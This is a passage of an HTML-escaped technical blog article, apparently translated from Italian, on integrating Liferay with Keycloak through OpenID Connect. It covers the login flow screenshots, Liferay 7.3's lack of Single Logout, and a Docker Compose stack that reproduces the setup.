        &lt;img alt=&quot;Figure 17 - OpenID Connect access via the OpenID Connect link displayed on the Liferay standard Login portlet&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/e7a89c99bd9704dcbd523c2de3bdfdde/c1b63/liferay-accesso-via-openid-connect-login-form.png&quot; title=&quot;Figure 17 - OpenID Connect access via the OpenID Connect link displayed on the Liferay standard Login portlet&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 17 - OpenID Connect access via the OpenID Connect link displayed on the Liferay standard Login portlet&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;When the user clicks on the OpenID Connect link, this is redirected
to the page from where the user can select the authentication provider
(see figure below). &lt;strong&gt;You can have multiple authentication providers&lt;/strong&gt;, that&amp;#x27;s it
the reason why the choice is given. In our case we have a
only provider which is called &lt;em&gt;iam-keycloak-oidc&lt;/em&gt;, the name assigned at time
configuration.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/39c1f6ef7ef473dcc2455e9de5166b71/2eb79/liferay-accesso-via-openid-connect-selezione-provider.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:35.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;142\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20142\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M9%207c-3%203-2%207%202%208s5%200%207-3c2-5-5-10-9-5m0%2079l1%207h26V81l-14-1H9v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/39c1f6ef7ef473dcc2455e9de5166b71/c85cb/liferay-accesso-via-openid-connect-selezione-provider.webp 300w,/static/39c1f6ef7ef473dcc2455e9de5166b71/e88ff/liferay-accesso-via-openid-connect-selezione-provider.webp 600w,/static/39c1f6ef7ef473dcc2455e9de5166b71/92f8c/liferay-accesso-via-openid-connect-selezione-provider.webp 1200w,/static/39c1f6ef7ef473dcc2455e9de5166b71/c6aef/liferay-accesso-via-openid-connect-selezione-provider.webp 1256w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/39c1f6ef7ef473dcc2455e9de5166b71/5a46d/liferay-accesso-via-openid-connect-selezione-provider.png 300w,/static/39c1f6ef7ef473dcc2455e9de5166b71/0a47e/liferay-accesso-via-openid-connect-selezione-provider.png 600w,/static/39c1f6ef7ef473dcc2455e9de5166b71/c1b63/liferay-accesso-via-openid-connect-selezione-provider.png 1200w,/static/39c1f6ef7ef473dcc2455e9de5166b71/2eb79/liferay-accesso-via-openid-connect-selezione-provider.png 1256w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 18 - Selecting the OpenID Connect Provider&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/39c1f6ef7ef473dcc2455e9de5166b71/c1b63/liferay-accesso-via-openid-connect-selezione-provider.png&quot; title=&quot;Figure 18 - Selecting the OpenID Connect Provider&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 18 - Selecting the OpenID Connect Provider&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Once you have selected the provider and clicked on the &lt;em&gt;Sign In&lt;/em&gt; button, Liferay
sends the user back to the Keycloak Login page (and in particular
of the Realm created earlier).&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/9e94472c11d867f4fc90bf9d880188d0/4969b/keycloak-richiesta-accesso-openid-connect-da-liferay.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:47%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;188\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20188\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M2%201v185h67l199%201h131V2L200%201H2m130%2066l-1%2056v55h138V66h-68l-69%201m10%2068v4h116v-8H142v4\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/9e94472c11d867f4fc90bf9d880188d0/c85cb/keycloak-richiesta-accesso-openid-connect-da-liferay.webp 300w,/static/9e94472c11d867f4fc90bf9d880188d0/e88ff/keycloak-richiesta-accesso-openid-connect-da-liferay.webp 600w,/static/9e94472c11d867f4fc90bf9d880188d0/92f8c/keycloak-richiesta-accesso-openid-connect-da-liferay.webp 1200w,/static/9e94472c11d867f4fc90bf9d880188d0/62ed8/keycloak-richiesta-accesso-openid-connect-da-liferay.webp 1800w,/static/9e94472c11d867f4fc90bf9d880188d0/46261/keycloak-richiesta-accesso-openid-connect-da-liferay.webp 2400w,/static/9e94472c11d867f4fc90bf9d880188d0/b23db/keycloak-richiesta-accesso-openid-connect-da-liferay.webp 2454w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/9e94472c11d867f4fc90bf9d880188d0/5a46d/keycloak-richiesta-accesso-openid-connect-da-liferay.png 300w,/static/9e94472c11d867f4fc90bf9d880188d0/0a47e/keycloak-richiesta-accesso-openid-connect-da-liferay.png 600w,/static/9e94472c11d867f4fc90bf9d880188d0/c1b63/keycloak-richiesta-accesso-openid-connect-da-liferay.png 1200w,/static/9e94472c11d867f4fc90bf9d880188d0/d61c2/keycloak-richiesta-accesso-openid-connect-da-liferay.png 1800w,/static/9e94472c11d867f4fc90bf9d880188d0/97a96/keycloak-richiesta-accesso-openid-connect-da-liferay.png 2400w,/static/9e94472c11d867f4fc90bf9d880188d0/4969b/keycloak-richiesta-accesso-openid-connect-da-liferay.png 2454w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 19 - Login page on Keycloak for the specific Realm&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/9e94472c11d867f4fc90bf9d880188d0/c1b63/keycloak-richiesta-accesso-openid-connect-da-liferay.png&quot; title=&quot;Figure 19 - Login page on Keycloak for the specific Realm&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 19 - Login page on Keycloak for the specific Realm&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;On the login page, enter valid login credentials (for example
of a user defined on LDAP or locally to Keycloak). If the credentials entered
are correct, then the user will be redirected to the home page of the Liferay portal.
If the user is not present on Liferay, this will be created using
the information obtained from the Identity Provider (Keycloak).&lt;/p&gt;&lt;p&gt;The figures below show the Liferay portal with the user just logged in and the
active sessions on Keycloak for the OpenID Connect client dedicated to Liferay.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/440f2e413eab351bad0751a7be99c04c/a83dd/liferay-accesso-come-utente.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:42.33333333333334%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;169\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20169\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M9%206v5c0%203%201%204%206%204h5V6l-5-1-6%201m37%2036v3l-1-1c0-3-3-2-3%200-1%201-1%200-1-1%201-2%200-2-6-2-7%200-11%201-11%204h-5c-2-1-2-1-1-3%201-1%200-1-5-1-6%200-7%201-5%203v1L7%2096v49h6a248%20248%200%200116%200l-2-1-3-1c0-3%202-3%206-3l4-1c0-1%204-2%206-1%201%200%201%201-1%201-1%201-2%201-1%202l2%203%202%201%207-1c8-1%209-3%201-2-7%200-9-1-7-4%200-2%202-1%202%201l2%202v-2l3-3%202-1c-1%202%200%202%204%202s4%200%204%203%200%204-2%204l15%201a291%20291%200%200058-1%20513%20513%200%200075%200l-9-2-7-1c-1%202-4%201-9%200l-5-2h27c5-1%206%200%205%204%200%202%201%202%207%202%208%200%208%200%207-7%200-3%200-3%205-3%208%200%209%201%209%205%200%203%200%203%203%203%203-1%204%200%205%201h2l3%201%203-1h1l1%201%201-1c-1-2%203-4%209-5l7-2%205-1v1h7c8-1%2015%200%2014%201l5%201h8c4%201%2015-1%2016-3V99l-3-1c-2-1-2-1%202-2%202-1%202-6%201-6v-1l1-22-1-23v-3h-11a435%20435%200%2000-49%200h-9c-3%200-3%201-2%201%202%200%202%200%201%201h-4c-2-2-10-3-25-2-6%200-6%200-6%203v3l-1-3c0-3-1-3-1-2h-3c-3-1-13-1-13%201h-2l-2-1-2-1c-1%200-2%200-1%202l-2%201c-2%200-3-1-3-2%200-2-1-2-3-2-3%200-4%200-4%202h-1l-6-1c-8%200-9%200-8%201l-2%201-2-1-3-1c-2%200-3%200-2%201%203%200%202%203%200%203-3%201-4%200-2-1%201-1%201-1-1-2h-3c0-2%200-2-2-2l-3%201-2%201c1%202-2%202-3%200h-3v1l2%201h-5l-7-1-3-1-2-1v1l-3%201c-2-1-3-1-3%201l-2%201c-2%200-2%200-1-2%201-1%201-1-1-1h-7c-1-1-5%200-5%202l-1-1c-1-2-1-2-10-2-6%200-8%200-6%201l1%201-3%201-6%201c-4%200-4%200-4-2%200-3%200-3-6-3s-6%200-6%203c0%202-2%203-3%200%200-2-13-3-14-1m62%206c-8%205-12%2012-10%2014l1%203%202%202%202-2c0-4%209-11%2016-11h4l-2-2-6-5-3-2-4%203\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/440f2e413eab351bad0751a7be99c04c/c85cb/liferay-accesso-come-utente.webp 300w,/static/440f2e413eab351bad0751a7be99c04c/e88ff/liferay-accesso-come-utente.webp 600w,/static/440f2e413eab351bad0751a7be99c04c/92f8c/liferay-accesso-come-utente.webp 1200w,/static/440f2e413eab351bad0751a7be99c04c/83d4c/liferay-accesso-come-utente.webp 1482w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/440f2e413eab351bad0751a7be99c04c/5a46d/liferay-accesso-come-utente.png 300w,/static/440f2e413eab351bad0751a7be99c04c/0a47e/liferay-accesso-come-utente.png 600w,/static/440f2e413eab351bad0751a7be99c04c/c1b63/liferay-accesso-come-utente.png 1200w,/static/440f2e413eab351bad0751a7be99c04c/a83dd/liferay-accesso-come-utente.png 1482w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 20 - Liferay portal home page after authentication via OpenID Connect&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/440f2e413eab351bad0751a7be99c04c/c1b63/liferay-accesso-come-utente.png&quot; title=&quot;Figure 20 - Liferay portal home page after authentication via OpenID Connect&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 20 - Liferay portal home page after authentication via OpenID Connect&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/5a5ffe56b538de2c2f9cfb76b556d5a0/8e6e2/keycloak-sessioni-attive.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:31.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;126\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20126\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;/%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/5a5ffe56b538de2c2f9cfb76b556d5a0/c85cb/keycloak-sessioni-attive.webp 300w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/e88ff/keycloak-sessioni-attive.webp 600w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/92f8c/keycloak-sessioni-attive.webp 1200w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/62ed8/keycloak-sessioni-attive.webp 1800w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/46261/keycloak-sessioni-attive.webp 2400w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/a5690/keycloak-sessioni-attive.webp 2438w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/5a5ffe56b538de2c2f9cfb76b556d5a0/5a46d/keycloak-sessioni-attive.png 300w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/0a47e/keycloak-sessioni-attive.png 600w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/c1b63/keycloak-sessioni-attive.png 1200w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/d61c2/keycloak-sessioni-attive.png 1800w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/97a96/keycloak-sessioni-attive.png 2400w,/static/5a5ffe56b538de2c2f9cfb76b556d5a0/8e6e2/keycloak-sessioni-attive.png 2438w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 21 - Active sessions for the Liferay Portal OpenID Connect client&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/5a5ffe56b538de2c2f9cfb76b556d5a0/c1b63/keycloak-sessioni-attive.png&quot; title=&quot;Figure 21 - Active sessions for the Liferay Portal OpenID Connect client&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 21 - Active sessions for the Liferay Portal OpenID Connect client&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h2 id=&quot;5---single-logout-slo-implementation&quot;&gt;5 - Single Logout (SLO) implementation&lt;/h2&gt;&lt;p&gt;The built-in implementation of OpenID Connect on Liferay version 7.3 does not
supports the functionality of &lt;em&gt;SLO or Single Logout&lt;/em&gt;, this means that when a
user is disconnected from Liferay (logout operation or session expired),
this is not automatically disconnected from Keycloak, with the consequence that
a new access will not require the user credentials to be entered on
Keycloak (if the session is still active).&lt;/p&gt;&lt;p&gt;This situation is clearly reported on the Knowledge Base under the name of
&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360035088252-Liferay-s-OpenID-Connect-implementation-and-Single-Logout&quot;&gt;Liferay&amp;#x27;s OpenID Connect implementation and Single Logout&lt;/a&gt; (see excerpt in
figure below). However, SLO can be implemented with a post action
custom logout.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/41be785ce13792af87b89cddf0309546/eadfb/liferay-note-for-slo.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:59.00000000000001%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;236\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20236\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M166%20164v4h5l3-1v-1c1-1%202%200%202%201%201%202%203%201%202-1l1-2%201%203h3c0%202%202%201%202-1h1l3%202v-2l3%201%202%201v-2l1-1c0-2-8-2-11-1h-2c0%201-1%201-3-1h-3l-9-1c-1-1-1%200-1%202m-94%2051c1%201-1%202-2%200H60l-2%201h-6c-1-1-3%202-3%203%201%203%204%202%204%200l1%201c1%201%201%201%202-1s1-2%201%200l1%202%201-2c0-2%200-2%201%200%201%203%208%203%208%200l1-2v2c0%201%201%202%203%202s2%200%202-4l-1-4-1%202m-58%2011\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/41be785ce13792af87b89cddf0309546/c85cb/liferay-note-for-slo.webp 300w,/static/41be785ce13792af87b89cddf0309546/e88ff/liferay-note-for-slo.webp 600w,/static/41be785ce13792af87b89cddf0309546/92f8c/liferay-note-for-slo.webp 1200w,/static/41be785ce13792af87b89cddf0309546/62ed8/liferay-note-for-slo.webp 1800w,/static/41be785ce13792af87b89cddf0309546/5db77/liferay-note-for-slo.webp 2386w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/41be785ce13792af87b89cddf0309546/5a46d/liferay-note-for-slo.png 300w,/static/41be785ce13792af87b89cddf0309546/0a47e/liferay-note-for-slo.png 600w,/static/41be785ce13792af87b89cddf0309546/c1b63/liferay-note-for-slo.png 1200w,/static/41be785ce13792af87b89cddf0309546/d61c2/liferay-note-for-slo.png 1800w,/static/41be785ce13792af87b89cddf0309546/eadfb/liferay-note-for-slo.png 2386w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 22 - Extract from the Liferay Knowledge Base with evidence of non-SLO support&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/41be785ce13792af87b89cddf0309546/c1b63/liferay-note-for-slo.png&quot; title=&quot;Figure 22 - Extract from the Liferay Knowledge Base with evidence of non-SLO support&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 22 - Extract from the Liferay Knowledge Base with evidence of non-SLO support&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h2 id=&quot;6---il-bonus&quot;&gt;6 - Il bonus&lt;/h2&gt;&lt;p&gt;I imagine having a Docker Compose availability with all services
configure that implements the scenario described, it is a nice bonus;
&lt;strong&gt;are you of the same idea?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://github.com/smclab/keycloak-openid-connect-liferay&quot;&gt;keycloak-openid-connect-liferay&lt;/a&gt;
project published on the GitHub repository of &lt;a href=&quot;https://www.smc.it&quot;&gt;SMC&lt;/a&gt;, contains
the Docker Compose and all configurations that we have seen in the course of this
article.&lt;/p&gt;&lt;p&gt;The services that make up the stack are listed below.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Keycloak&lt;/li&gt;&lt;li&gt;OpenLDAP (implementation of the LDAP service for the user store)&lt;/li&gt;&lt;li&gt;PHP LDAP Admin (LDAP administration interface)&lt;/li&gt;&lt;li&gt;PostgreSQL (database for Keycloak and Liferay)&lt;/li&gt;&lt;li&gt;Liferay&lt;/li&gt;&lt;li&gt;fakeSMTP (service for sending email)&lt;/li&gt;&lt;li&gt;Traefik (Load Balancer)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The essential services are: Traefik, Keycloak, OpenLDAP, PostgreSQL and Liferay.
The figure below shows the diagram summarizing the complete stack.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6a2534146a2cc34caa812f820bd28394/f761d/docker-compose-service-stack.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:64.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;257\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20257\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M5%205L4%2092v86h43V5L26%204%205%205m50%200l-1%2087v86h43V5L76%204%2055%205m50%200l-1%2087v86h43V5l-21-1-21%201m50%200l-1%2087v86h21c21%200%2021%200%2022-2V5l-21-1-21%201m49%2086v87h42V4h-42v87m50%200v87h42V4h-42v87m51-86l-1%2087v86h42V4h-20l-21%201m49%2086v87h42V4h-42v87M6%2092v85h39V6H6v86m50%200v85h39V6H56v86m50%200v85h39V6h-39v86m50%200v85h39V6h-39v86m50%200v85h39V6h-39v86m49-85v86l1%2084h39V6h-20l-20%201m50%2084l1%2086h39V6h-40v85m50%201v85h40V6h-40v86M59%2010v8l1%206h32V10L76%209l-17%201m50%206v8h33V9h-33v7m50%201v7h33V9h-33v8m150-8v15h16l17-1V10l-17-1h-16m50%200v15h33l-1-7v-7l-16-1h-16M59%2028v8l1%206h32V28l-16-1-17%201m101%200l-1%207v7h33V28l-16-1-16%201m153%200h-4v7l1%207h32v-7l-1-7h-28M74%20100l1%202v3l-1%203c1%202%200%203-1%203v7c5%203%2010-2%206-6-2-2-1-2%202-2l1-1c1-1%200-1-1-1l-1-1v-7c-1-1-1%200-1%201l-1-1c-1-2-3-3-4%200m-1%2040c-4%202-4%208-1%2016%202%206%202%208-1%208l-3%202c0%202%202%204%204%204l5-1c4-1%205-5%203-11l-3-7v-6c2-3-1-7-4-5m93%201v5c1%201%202%208%200%208v2c2%202%2019%201%2019-2h-1c-2%200-2-1-1-5l1-7c-1-1-17-2-18-1m55%200c-11%201-12%202-10%2012%201%208%203%2010%208%2010%204%201%205%201%205%203%200%203%202%205%205%205%202%200%205-3%205-6l3-3c3-1%204-5%201-4v-4c3-7%202-10-1-12l-5-2-11%201m50%200c-11%201-12%202-10%2012%201%208%203%2010%208%2010%204%201%205%202%205%203%200%204%201%205%204%205s5-1%206-5c0-2%201-3%203-4%203-1%204-4%202-5-2%200-2-1%200-4%203-11%200-14-18-12m49%201c-4%202-10%209-11%2012-1%206%208%2016%2015%2018%207%201%2016-9%2016-16%200-9-12-18-20-14m-303%204c-2%204-2%204%200%204s2%200%200%203v5c3%203%202%204%200%204-2-1-2-1%200%203%201%203%201%203%208%203%206%200%207%200%208-2%202-3%202-5%200-5v-2c2-3%201-5-1-7l-2-2h3c2%200%203-1%201-4s-15-3-17%200m99%207l-2%201c-1%200-2%200-2%202%200%203%200%203%202%202l3-2%201-1v4c0%204%200%204%202%204l2-1h-1l-1-2%202-2c1-1%201%200%201%202%200%203%200%203%202%203h3l-3%202c-4%200-6%201-4%202h1l1-1%201%201c0%201%202%202%2010%202h10l-1-3c0-2-1-2-2-2h-6l-5-1%202-1c3%201%207-1%207-3%200-3-4-2-4%201l-1%203-1-3-1-3c-1%200-2%201-2%203-2%202-2%202-2%200s-1-2-3-2l-1-2-2-2-4-1h-2M4%20207v21h392v-42H4v21m2%200v20h389v-40H6v20\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/6a2534146a2cc34caa812f820bd28394/c85cb/docker-compose-service-stack.webp 300w,/static/6a2534146a2cc34caa812f820bd28394/e88ff/docker-compose-service-stack.webp 600w,/static/6a2534146a2cc34caa812f820bd28394/92f8c/docker-compose-service-stack.webp 1200w,/static/6a2534146a2cc34caa812f820bd28394/62ed8/docker-compose-service-stack.webp 1800w,/static/6a2534146a2cc34caa812f820bd28394/46261/docker-compose-service-stack.webp 2400w,/static/6a2534146a2cc34caa812f820bd28394/58247/docker-compose-service-stack.webp 2646w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/6a2534146a2cc34caa812f820bd28394/f93b5/docker-compose-service-stack.jpg 300w,/static/6a2534146a2cc34caa812f820bd28394/b4294/docker-compose-service-stack.jpg 600w,/static/6a2534146a2cc34caa812f820bd28394/e5166/docker-compose-service-stack.jpg 1200w,/static/6a2534146a2cc34caa812f820bd28394/d9c39/docker-compose-service-stack.jpg 1800w,/static/6a2534146a2cc34caa812f820bd28394/df51d/docker-compose-service-stack.jpg 2400w,/static/6a2534146a2cc34caa812f820bd28394/f761d/docker-compose-service-stack.jpg 2646w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figure 23 - Diagram of the stack of services configured via Docker Compose&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/6a2534146a2cc34caa812f820bd28394/e5166/docker-compose-service-stack.jpg&quot; title=&quot;Figure 23 - Diagram of the stack of services configured via Docker Compose&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
